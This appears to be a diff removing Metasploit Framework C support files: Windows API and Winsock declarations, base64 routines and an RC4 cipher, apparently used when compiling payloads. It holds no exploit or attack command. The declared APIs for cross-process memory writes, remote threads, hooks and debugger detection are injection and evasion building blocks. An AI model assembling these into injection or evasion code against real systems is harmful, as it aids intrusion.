ProcessReserved1Information = 66,
ProcessReserved2Information = 67,
ProcessSubsystemProcess = 68,
ProcessInPrivate = 70,
ProcessRaiseUMExceptionOnInvalidHandleClose = 71,
MaxProcessInfoClass
} PROCESSINFOCLASS;
typedef enum _FINDEX_INFO_LEVELS {
FindExInfoStandard,
FindExInfoBasic,
FindExInfoMaxInfoLevel
} FINDEX_INFO_LEVELS;
typedef enum _FINDEX_SEARCH_OPS {
FindExSearchNameMatch,
FindExSearchLimitToDirectories,
FindExSearchLimitToDevices
} FINDEX_SEARCH_OPS;
WINAPI void OutputDebugString __attribute__((dllimport))(LPCTSTR);
WINAPI HGLOBAL GlobalAlloc __attribute__((dllimport))(UINT, size_t);
WINAPI LPVOID GlobalLock __attribute__((dllimport))(HGLOBAL);
WINAPI BOOL GlobalUnlock __attribute__((dllimport))(HGLOBAL);
WINAPI HGLOBAL GlobalReAlloc __attribute__((dllimport))(HGLOBAL, size_t, UINT);
WINAPI HGLOBAL GlobalFree __attribute__((dllimport))(HGLOBAL);
WINAPI DWORD GetLastError __attribute__((dllimport))(void);
WINAPI LPVOID VirtualAlloc __attribute__((dllimport))(LPVOID, size_t, DWORD, DWORD);
WINAPI LPVOID VirtualAllocEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, DWORD);
WINAPI BOOL VirtualProtect __attribute__((dllimport))(LPVOID, size_t, DWORD, PDWORD);
WINAPI BOOL VirtualProtectEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD, PDWORD);
WINAPI HANDLE GetProcessHeap __attribute__((dllimport))(void);
WINAPI DWORD GetProcessHeaps __attribute__((dllimport))(DWORD, PHANDLE);
WINAPI HANDLE HeapCreate __attribute__((dllimport))(DWORD, size_t, size_t);
WINAPI LPVOID HeapAlloc __attribute__((dllimport))(HANDLE, DWORD, size_t);
WINAPI size_t HeapSize __attribute__((dllimport))(HANDLE, DWORD, LPCVOID);
WINAPI LPVOID HeapreAlloc __attribute__((dllimport))(HANDLE, DWORD, LPVOID, size_t);
WINAPI BOOL HeapFree __attribute__((dllimport))(HANDLE, DWORD, LPVOID);
WINAPI BOOL HeapQueryInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t, PSIZE_T);
WINAPI BOOL HeapSetInformation __attribute__((dllimport))(HANDLE, HEAP_INFORMATION_CLASS, PVOID, size_t);
WINAPI BOOL VirtualFreeEx __attribute__((dllimport))(HANDLE, LPVOID, size_t, DWORD);
WINAPI void MoveMemory __attribute__((dllimport))(PVOID, void*, size_t);
WINAPI BOOL WriteProcessMemory __attribute__((dllimport))(HANDLE, LPVOID, LPCVOID, size_t, size_t*);
WINAPI BOOL ReadProcessMemory __attribute__((dllimport))(HANDLE, LPCVOID, LPVOID, size_t, size_t*);
WINAPI HANDLE CreateThread __attribute__((dllimport))(LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
WINAPI HANDLE CreateRemoteThread __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, size_t, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
WINAPI DWORD GetProcessId __attribute__((dllimport))(HANDLE);
WINAPI BOOL CreateProcess __attribute__((dllimport))(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
WINAPI BOOL CreateProcessAsUser __attribute__((dllimport))(HANDLE, LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
WINAPI HANDLE OpenProcess __attribute__((dllimport))(DWORD, BOOL, DWORD);
WINAPI void ExitProcess __attribute__((dllimport))(UINT);
WINAPI BOOL TerminateProcess __attribute__((dllimport))(UINT);
WINAPI DWORD GetTickCount __attribute__((dllimport))(void);
WINAPI void Sleep __attribute__((dllimport))(DWORD);
WINAPI UINT WinExec __attribute__((dllimport))(LPCSTR, UINT);
WINAPI DWORD WaitForSingleObject __attribute__((dllimport))(HANDLE, DWORD);
WINAPI FARPROC GetProcAddress __attribute__((dllimport))(HMODULE, LPCSTR);
WINAPI HMODULE LoadLibrary __attribute__((dllimport))(LPCTSTR);
WINAPI HMODULE GetModuleHandle __attribute__((dllimport))(LPCTSTR);
WINAPI HANDLE CreateFile __attribute__((dllimport))(LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
WINAPI BOOL GetFileInformationByHandle __attribute__((dllimport))(HANDLE, LPBY_HANDLE_FILE_INFORMATION);
WINAPI DWORD GetFullPathName __attribute__((dllimport))(LPCTSTR, DWORD, LPTSTR, LPTSTR*);
WINAPI DWORD GetFileType __attribute__((dllimport))(HANDLE);
WINAPI BOOL MoveFile __attribute__((dllimport))(LPCTSTR, LPCTSTR);
WINAPI BOOL DeleteFile __attribute__((dllimport))(LPCTSTR);
WINAPI BOOL CopyFile __attribute__((dllimport))(LPCTSTR, LPCTSTR, BOOL);
WINAPI BOOL WriteFile __attribute__((dllimport))(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
WINAPI BOOL ReadFile __attribute__((dllimport))(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
WINAPI BOOL ReadFileEx __attribute__((dllimport))(HANDLE, LPVOID, LPOVERLAPPED, LPOVERLAPPED_COMPLETION_ROUTINE);
WINAPI DWORD GetFileSize __attribute__((dllimport))(HANDLE, LPDWORD);
WINAPI DWORD GetTempPath __attribute__((dllimport))(DWORD, LPTSTR);
WINAPI UINT GetTempFileName __attribute__((dllimport))(LPCTSTR, LPCTSTR, UINT, LPTSTR);
WINAPI DWORD GetShortPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
WINAPI DWORD GetLongPathName __attribute__((dllimport))(LPCTSTR, LPTSTR, DWORD);
WINAPI INT GetExpandedName __attribute__((dllimport))(LPTSTR, LPTSTR);
WINAPI DWORD GetFinalPathNameByHandle __attribute__((dllimport))(HANDLE, LPTSTR, DWORD, DWORD);
WINAPI BOOL LockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
WINAPI BOOL UnlockFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, DWORD);
WINAPI BOOL UnlockFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, LPOVERLAPPED);
WINAPI BOOL FreeLibrary __attribute__((dllimport))(HMODULE);
WINAPI DWORD GetModuleFileName __attribute__((dllimport))(HMODULE, LPTSTR, DWORD);
WINAPI BOOL CloseHandle __attribute__((dllimport))(HANDLE);
WINAPI void DebugBreak __attribute__((dllimport))(void);
WINAPI HWND FindWindow __attribute__((dllimport))(LPCTSTR, LPCTSTR);
WINAPI HWND FindWindowEx __attribute__((dllimport))(HWND, HWND, LPCTSTR, LPCTSTR);
WINAPI HWND GetWindow __attribute__((dllimport))(HWND, UINT);
WINAPI HWND GetForegroundWindow __attribute__((dllimport))(void);
WINAPI BOOL SetForegroundWindow __attribute__((dllimport))(HWND);
WINAPI HWND GetDesktopWindow __attribute__((dllimport))(void);
WINAPI HWND SetActiveWindow __attribute__((dllimport))(HWND);
WINAPI BOOL IsWindowEnabled __attribute__((dllimport))(HWND);
WINAPI HWND SetFocus __attribute__((dllimport))(HWND);
WINAPI BOOL MoveWindow __attribute__((dllimport))(HWND, int, int, int, int, BOOL);
WINAPI int MessageBox __attribute__((dllimport))(HWND, LPCTSTR, LPCTSTR, UINT);
WINAPI BOOL Beep __attribute__((dllimport))(DWORD, DWORD);
WINAPI BOOL CreateDirectory __attribute__((dllimport))(LPCTSTR, LPSECURITY_ATTRIBUTES);
WINAPI HANDLE CreateFileMapping __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCTSTR);
WINAPI LPVOID MapViewOfFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t);
WINAPI LPVOID MapViewOfFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t, LPVOID);
WINAPI BOOL FindClose __attribute__((dllimport))(HANDLE);
WINAPI HANDLE FindFirstFile __attribute__((dllimport))(LPCTSTR, LPWIN32_FIND_DATA);
WINAPI HANDLE FindFirstFileEx __attribute__((dllimport))(LPCTSTR, FINDEX_INFO_LEVELS, LPVOID, FINDEX_SEARCH_OPS, LPVOID, DWORD);
WINAPI BOOL FindNextFile __attribute__((dllimport))(HANDLE, LPWIN32_FIND_DATA);
WINAPI HANDLE GetCurrentProcess __attribute__((dllimport))(void);
WINAPI HANDLE GetCurrentThread __attribute__((dllimport))(void);
WINAPI LRESULT CallNextHookEx __attribute__((dllimport))(HHOOK, int, WPARAM, LPARAM);
WINAPI BOOL GetMessage __attribute__((dllimport))(LPMSG, HWND, UINT, UINT);
WINAPI BOOL PostMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
WINAPI LRESULT SendMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
WINAPI SC_HANDLE OpenSCManager __attribute__((dllimport))(LPCTSTR, LPCTSTR, DWORD);
WINAPI BOOL StartService __attribute__((dllimport))(SC_HANDLE, DWORD, LPCTSTR*);
WINAPI BOOL SetServiceStatus __attribute__((dllimport))(SERVICE_STATUS_HANDLE, LPSERVICE_STATUS);
WINAPI SC_HANDLE CreateService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR);
WINAPI SC_HANDLE OpenService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, DWORD);
WINAPI BOOL ChangeServiceConfig __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR);
WINAPI BOOL DeleteService __attribute__((dllimport))(SC_HANDLE);
WINAPI BOOL EnumServicesStatus __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, LPENUM_SERVICE_STATUS, DWORD, LPDWORD, LPDWORD, LPDWORD);
WINAPI BOOL EnumServicesStatusEx __attribute__((dllimport))(SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD, LPDWORD, LPCTSTR);
WINAPI BOOL CloseServiceHandle __attribute__((dllimport))(SC_HANDLE);
WINAPI BOOL ControlService __attribute__((dllimport))(SC_HANDLE, DWORD, LPSERVICE_STATUS);
WINAPI BOOL GetServiceDisplayName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
WINAPI BOOL GetServiceKeyName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
WINAPI BOOL QueryServiceStatus __attribute__((dllimport))(SC_HANDLE, LPSERVICE_STATUS);
WINAPI BOOL OpenClipboard __attribute__((dllimport))(HWND);
WINAPI HANDLE SetClipboardData __attribute__((dllimport))(UINT, HANDLE);
WINAPI HANDLE GetClipboardData __attribute__((dllimport))(UINT);
WINAPI BOOL EmptyClipboard __attribute__((dllimport))(void);
WINAPI BOOL CloseClipboard __attribute__((dllimport))(void);
WINAPI LONG RegSetValueEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, DWORD, const BYTE*, DWORD);
WINAPI LONG RegOpenCurrentUser __attribute__((dllimport))(REGSAM, PHKEY);
WINAPI LONG RegDeleteValue __attribute__((dllimport))(HKEY, LPCTSTR);
WINAPI LONG RegOpenKey __attribute__((dllimport))(HKEY, LPCTSTR, PHKEY);
WINAPI LONG RegQueryValueEx __attribute__((dllimport))(HKEY, LPCTSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
WINAPI LONG RegCloseKey __attribute__((dllimport))(HKEY);
WINAPI LONG RegCreateKeyEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, LPTSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD);
WINAPI HHOOK SetWindowHookEx __attribute__((dllimport))(int, HOOKPROC, HINSTANCE, DWORD);
WINAPI BOOL UnhookWindowsHookEx __attribute__((dllimport))(HHOOK);
WINAPI BOOL IsDebuggerPresent __attribute__((dllimport))(void);
WINAPI BOOL CheckRemoteDebuggerPresent __attribute__((dllimport))(HANDLE, PBOOL);
WINAPI NTSTATUS NtQueryInformationProcess __attribute__((dllimport))(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
WINAPI void SetLastError __attribute__((dllimport))(DWORD);
WINAPI SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler __attribute__((dllimport))(LPCSTR, LPHANDLER_FUNCTION);
BOOL WINAPI StartServiceCtrlDispatcher __attribute__((dllimport))(LPSERVICE_TABLE_ENTRY);
LPTSTR WINAPI GetCommandLine __attribute__((dllimport))(void);
-331
View File
@@ -1,331 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
#define IPPROTO_IP 0
#define IPPROTO_ICMP 1
#define IPPROTO_IGMP 2
#define IPPROTO_GGP 3
#define IPPROTO_TCP 6
#define IPPROTO_PUP 12
#define IPPROTO_UDP 17
#define IPPROTO_IDP 22
#define IPPROTO_ND 77
#define IPPROTO_RAW 255
#define IPPROTO_MAX 256
#define IPPORT_ECHO 7
#define IPPORT_DISCARD 9
#define IPPORT_SYSTAT 11
#define IPPORT_DAYTIME 13
#define IPPORT_NETSTAT 15
#define IPPORT_FTP 21
#define IPPORT_TELNET 23
#define IPPORT_SMTP 25
#define IPPORT_TIMESERVER 37
#define IPPORT_NAMESERVER 42
#define IPPORT_WHOIS 43
#define IPPORT_MTP 57
#define IPPORT_TFTP 69
#define IPPORT_RJE 77
#define IPPORT_FINGER 79
#define IPPORT_TTYLINK 87
#define IPPORT_SUPDUP 95
#define IPPORT_EXECSERVER 512
#define IPPORT_LOGINSERVER 513
#define IPPORT_CMDSERVER 514
#define IPPORT_EFSSERVER 520
#define IPPORT_BIFFUDP 512
#define IPPORT_WHOSERVER 513
#define IPPORT_ROUTESERVER 520
#define IPPORT_RESERVED 1024
#define IMPLINK_IP 155
#define IMPLINK_LOWEXPER 156
#define IMPLINK_HIGHEXPER 158
#define WSADESCRIPTION_LEN 256
#define WSASYS_STATUS_LEN 128
#define SD_RECEIVE 0x00
#define SD_SEND 0x01
#define SD_BOTH 0x02
#define FD_SETSIZE 64
#define WSA_INVALID_HANDLE 6
#define WSA_NOT_ENOUGH_MEMORY 8
#define WSA_INVALID_PARAMETER 87
#define WSA_OPERATION_ABORTED 995
#define WSA_IO_INCOMPLETE 996
#define WSA_IO_PENDING 997
#define WSAEINTR 10004
#define WSAEBADF 10009
#define WSAEACCES 10013
#define WSAEFAULT 10014
#define WSAEINVAL 10022
#define WSAEMFILE 10024
#define WSAEWOULDBLOCK 10035
#define WSAEINPROGRESS 10036
#define WSAEALREADY 10037
#define WSAENOTSOCK 10038
#define WSAEDESTADDRREQ 10039
#define WSAEMSGSIZE 10040
#define WSAEPROTOTYPE 10041
#define WSAENOPROTOOPT 10042
#define WSAEPROTONOSUPPORT 10043
#define WSAESOCKTNOSUPPORT 10044
#define WSAEOPNOTSUPP 10045
#define WSAEPFNOSUPPORT 10046
#define WSAEAFNOSUPPORT 10047
#define WSAEADDRINUSE 10048
#define WSAEADDRNOTAVAIL 10049
#define WSAENETDOWN 10050
#define WSAENETUNREACH 10051
#define WSAENETRESET 10052
#define WSAECONNABORTED 10053
#define WSAECONNRESET 10054
#define WSAENOBUFS 10055
#define WSAEISCONN 10056
#define WSAENOTCONN 10057
#define WSAESHUTDOWN 10058
#define WSAETOOMANYREFS 10059
#define WSAETIMEDOUT 10060
#define WSAECONNREFUSED 10061
#define WSAELOOP 10062
#define WSAENAMETOOLONG 10063
#define WSAEHOSTDOWN 10064
#define WSAEHOSTUNREACH 10065
#define WSAENOTEMPTY 10066
#define WSAEPROCLIM 10067
#define WSAEUSERS 10068
#define WSAEDQUOT 10069
#define WSAESTALE 10070
#define WSAEREMOTE 10071
#define WSASYSNOTREADY 10091
#define WSAVERNOTSUPPORTED 10092
#define WSANOTINITIALISED 10093
#define WSAEDISCON 10101
#define WSAENOMORE 10102
#define WSAECANCELLED 10103
#define WSAEINVALIDPROCTABLE 10104
#define WSAEINVALIDPROVIDER 10105
#define WSAEPROVIDERFAILEDINIT 10106
#define WSASYSCALLFAILURE 10107
#define WSASERVICE_NOT_FOUND 10108
#define WSATYPE_NOT_FOUND 10109
#define WSA_E_NO_MORE 10110
#define WSA_E_CANCELLED 10111
#define WSAEREFUSED 10112
#define WSAHOST_NOT_FOUND 11001
#define WSATRY_AGAIN 11002
#define WSANO_RECOVERY 11003
#define WSANO_DATA 11004
#define WSA_QOS_RECEIVERS 11005
#define WSA_QOS_SENDERS 11006
#define WSA_QOS_NO_SENDERS 11007
#define WSA_QOS_NO_RECEIVERS 11008
#define WSA_QOS_REQUEST_CONFIRMED 11009
#define WSA_QOS_ADMISSION_FAILURE 11010
#define WSA_QOS_POLICY_FAILURE 11011
#define WSA_QOS_BAD_STYLE 11012
#define WSA_QOS_BAD_OBJECT 11013
#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014
#define WSA_QOS_GENERIC_ERROR 11015
#define WSA_QOS_ESERVICETYPE 11016
#define WSA_QOS_EFLOWSPEC 11017
#define WSA_QOS_EPROVSPECBUF 11018
#define WSA_QOS_EFILTERSTYLE 11019
#define WSA_QOS_EFILTERTYPE 11020
#define WSA_QOS_EFILTERCOUNT 11021
#define WSA_QOS_EOBJLENGTH 11022
#define WSA_QOS_EFLOWCOUNT 11023
#define WSA_QOS_EUNKOWNPSOBJ 11024
#define WSA_QOS_EPOLICYOBJ 11025
#define WSA_QOS_EFLOWDESC 11026
#define WSA_QOS_EPSFLOWSPEC 11027
#define WSA_QOS_EPSFILTERSPEC 11028
#define WSA_QOS_ESDMODEOBJ 11029
#define WSA_QOS_ESHAPERATEOBJ 11030
#define WSA_QOS_RESERVED_PETYPE 11031
#define AF_UNSPEC 0
#define AF_INET 2
#define AF_IPX 6
#define AF_APPLETALK 16
#define AF_NETBIOS 17
#define AF_INET6 23
#define AF_IRDA 26
#define AF_BTH 32
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define SOCK_RAW 3
#define SOCK_RDM 4
#define SOCK_SEQPACKET 5
#define INVALID_SOCKET (SOCKET)(~0)
#define SOCKET_ERROR (-1)
#define AI_PASSIVE 0x00000001
#define AI_CANONNAME 0x00000002
#define AI_NUMERICHOST 0x00000004
#define AI_NUMERICSERV 0x00000008
#define AI_ALL 0x00000100
#define AI_ADDRCONFIG 0x00000400
#define AI_V4MAPPED 0x00000800
#define AI_NON_AUTHORITATIVE 0x00004000
#define AI_SECURE 0x00008000
#define AI_RETURN_PREFERRED_NAMES 0x00010000
#define AI_FQDN 0x00020000
#define AI_FILESERVER 0x00040000
#define MAX_PROTOCOL_CHAIN 7
#define WSAPROTOCOL_LEN 255
#define SOMAXCONN 0x7fffffff
typedef unsigned char u_char;
typedef unsigned short u_short;
typedef unsigned int u_int;
typedef unsigned long u_long;
typedef u_int SOCKET;
typedef unsigned int GROUP;
typedef ULONG SERVICETYPE;
struct sockaddr {
u_short sa_family;
char sa_data[14];
} SOCKADDR;
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char *lpVendorInfo;
} WSADATA, *LPWSADATA;
typedef struct addrinfo {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
char *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOA, *PADDRINFOA;
typedef struct fd_set {
u_int fd_count;
SOCKET fd_array[FD_SETSIZE];
} fd_set;
typedef struct in_addr {
union {
struct {
u_char s_b1,s_b2,s_b3,s_b4;
} S_un_b;
struct {
u_short s_w1,s_w2;
} S_un_w;
u_long S_addr;
} S_un;
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
struct sockproto {
u_short sp_family;
u_short sp_protocol;
};
typedef struct hostent {
char *h_name;
char **h_aliases;
short h_addrtype;
short h_length;
char **h_addr_list;
} HOSTENT, *PHOSTENT, *LPHOSTENT;
typedef struct _WSAPROTOCOLCHAIN {
int ChainLen;
DWORD ChainEntries[MAX_PROTOCOL_CHAIN];
} WSAPROTOCOLCHAIN, *LPWSAPROTOCOLCHAIN;
typedef struct _WSAPROTOCOL_INFO {
DWORD dwServiceFlags1;
DWORD dwServiceFlags2;
DWORD dwServiceFlags3;
DWORD dwServiceFlags4;
DWORD dwProviderFlags;
GUID ProviderId;
DWORD dwCatalogEntryId;
WSAPROTOCOLCHAIN ProtocolChain;
int iVersion;
int iAddressFamily;
int iMaxSockAddr;
int iMinSockAddr;
int iSocketType;
int iProtocol;
int iProtocolMaxOffset;
int iNetworkByteOrder;
int iSecurityScheme;
DWORD dwMessageSize;
DWORD dwProviderReserved;
TCHAR szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFO, *LPWSAPROTOCOL_INFO;
typedef struct _WSABUF
{
ULONG len;
CHAR* buf;
} WSABUF, *LPWSABUF;
typedef struct _FLOWSPEC {
unsigned int TokenRate;
unsigned int TokenBucketSize;
unsigned int PeakBandwidth;
unsigned int Latency;
unsigned int DelayVariation;
SERVICETYPE ServiceType;
unsigned int MaxSduSize;
unsigned int MinimumPolicedSize;
} FLOWSPEC, *PFLOWSPEC, *LPFLOWSPEC;
typedef struct _QUALITYOFSERVICE {
FLOWSPEC SendingFlowspec;
FLOWSPEC ReceivingFlowspec;
WSABUF ProviderSpecific;
} QOS, *LPQOS;
typedef int (CALLBACK *LPCONDITIONPROC)(LPWSABUF, LPWSABUF, LPQOS, LPQOS, LPWSABUF, LPWSABUF, GROUP *, DWORD);
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr_in *PSOCKADDR_IN;
typedef struct sockaddr_in *LPSOCKADDR_IN;
WINAPI int WSAStartup __attribute__((dllimport))(WORD, LPWSADATA);
WINAPI int WSACleanup __attribute__((dllimport))();
WINAPI int getaddrinfo __attribute__((dllimport))(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*);
WINAPI SOCKET socket __attribute__((dllimport))(int, int, int);
WINAPI void freeaddrinfo __attribute__((dllimport))(struct addrinfo*);
WINAPI int closesocket __attribute__((dllimport))(SOCKET);
WINAPI int bind __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
WINAPI SOCKET accept __attribute__((dllimport))(SOCKET, struct sockaddr*, int*);
WINAPI BOOL AcceptEx __attribute__((dllimport))(SOCKET, SOCKET, PVOID, DWORD, DWORD, DWORD, LPDWORD, LPOVERLAPPED);
WINAPI int connect __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
WINAPI int gethostname __attribute__((dllimport))(char*, int);
WINAPI int listen __attribute__((dllimport))(SOCKET, int);
WINAPI int recv __attribute__((dllimport))(SOCKET, char*, int, int);
WINAPI int recvfrom __attribute__((dllimport))(SOCKET, char*, int, int, struct sockaddr*, int*);
WINAPI int send __attribute__((dllimport))(SOCKET, char*, int, int);
WINAPI int sendto __attribute__((dllimport))(SOCKET, char*, int, int, const struct sockaddr*, int);
WINAPI int select __attribute__((dllimport))(int, fd_set*, fd_set*, fd_set*, const struct timeval*);
WINAPI int setsockopt __attribute__((dllimport))(SOCKET, int, int, const char*, int);
WINAPI char* inet_ntoa __attribute__((dllimport))(struct in_addr);
WINAPI unsigned long inet_addr __attribute__((dllimport))(const char*);
WINAPI int shutdown __attribute__((dllimport))(SOCKET, int);
WINAPI u_short htons __attribute__((dllimport))(u_short);
WINAPI u_long htonl __attribute__((dllimport))(u_long);
WINAPI struct hostent* gethostbyname __attribute__((dllimport))(const char*);
WINAPI struct hostent* gethostbyaddr __attribute__((dllimport))(const char*, int, int);
WINAPI int WSAGetLastError __attribute__((dllimport))();
WINAPI SOCKET WSASocket __attribute__((dllimport))(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
WINAPI SOCKET WSAAccept __attribute__((dllimport))(SOCKET, struct sockaddr*, LPINT, LPCONDITIONPROC, DWORD_PTR);
-114
View File
@@ -1,114 +0,0 @@
/* from https://github.com/mdornseif/didentd */
/* public domain
* BASE64 on stdin -> converted data on stdout */
/* arbitrary data on stdin -> BASE64 data on stdout
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
*
* public domain
*/
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
*
*/
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64decode(char *dest, const char *src, int l)
{
static char inalphabet[256], decoder[256];
static bool table_initialized = false;
int i, bits, c, char_count;
int rpos;
int wpos = 0;
if (!table_initialized) {
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
inalphabet[alphabet[i]] = 1;
decoder[alphabet[i]] = i;
}
table_initialized = true;
}
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
if (c == '=') {
break;
}
if (c > 255 || !inalphabet[c]) {
return -1;
}
bits += decoder[c];
char_count++;
if (char_count < 4) {
bits <<= 6;
} else {
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
dest[wpos++] = bits & 0xff;
bits = 0;
char_count = 0;
}
}
switch (char_count) {
case 1:
return -1;
break;
case 2:
dest[wpos++] = bits >> 10;
break;
case 3:
dest[wpos++] = bits >> 16;
dest[wpos++] = (bits >> 8) & 0xff;
break;
}
return wpos;
}
int base64encode(char *dest, const char *src, int l)
{
int bits, c, char_count;
int rpos;
int wpos = 0;
char_count = 0;
bits = 0;
for (rpos = 0; rpos < l; rpos++) {
c = src[rpos];
bits += c;
char_count++;
if (char_count < 3) {
bits <<= 8;
} else {
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = alphabet[bits & 0x3f];
bits = 0;
char_count = 0;
}
}
if (char_count != 0) {
bits <<= 16 - (8 * char_count);
dest[wpos++] = alphabet[bits >> 18];
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
if (char_count == 1) {
dest[wpos++] = '=';
dest[wpos++] = '=';
} else {
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
dest[wpos++] = '=';
}
}
return wpos;
}
-54
View File
@@ -1,54 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
// This code was originally obtained and modified from the following source
// by Bobin Verton:
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
#define N 256 // 2^8
void swap(unsigned char *a, unsigned char *b) {
int tmp = *a;
*a = *b;
*b = tmp;
}
int KSA(char *key, unsigned char *S) {
int len = strlen(key);
int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
return 0;
}
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
int i = 0;
int j = 0;
for (size_t n = 0, len = plainTextSize; n < len; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
ciphertext[n] = rnd ^ plaintext[n];
}
return 0;
}
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
unsigned char S[N];
KSA(key, S);
PRGA(S, plaintext, ciphertext, plainTextSize);
return 0;
}
-128
View File
@@ -1,128 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
#define NULL ((void *)0)
#define TRUE 1
#define FALSE 0
#define true 1
#define false 0
#define VOID void
#define _tWinMain WinMain
#define CALLBACK __stdcall
#define WINAPI __stdcall
#define APIENTRY WINAPI
#define BUFSIZ 512
#define _INTERNAL_BUFSIZ 4096
#define _SMALL_BUFSIZ 512
#define _NSTREAM_ 512
#define _IOB_ENTRIES 20
#define RAND_MAX 0x7fff
#define EOF (-1)
#define SEEK_CUR 1
#define SEEK_END 2
#define SEEK_SET 0
#define FILENAME_MAX 260
#define FOPEN_MAX 20
#define _SYS_OPEN 20
#define _TMP_MAX_S 2147483647
#define stdin (&__iob_func()[0])
#define stdout (&__iob_func()[1])
#define stderr (&__iob_func()[2])
#define _IOREAD 0x0001
#define _IOWRT 0x0002
#define _IOFBF 0x0000
#define _IOLBF 0x0040
#define _IONBF 0x0004
#define _IOMYBUF 0x0008
#define _IOEOF 0x0010
#define _IOERR 0x0020
#define _IOSTRG 0x0040
#define _IORW 0x0080
#define _TWO_DIGIT_EXPONENT 0x1
#define DLL_PROCESS_ATTACH 1
#define DLL_PROCESS_DETACH 0
#define DLL_THREAD_ATTACH 2
#define DLL_THREAD_DETACH 3
typedef char CHAR;
typedef CHAR* PCHAR;
typedef const char* LPCTSTR;
typedef const char* LPCSTR;
typedef const CHAR* PCSTR;
typedef char* LPSTR;
typedef char* LPTSTR;
typedef CHAR* PSTR;
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef unsigned int DWORD32;
typedef WORD* LPWORD;
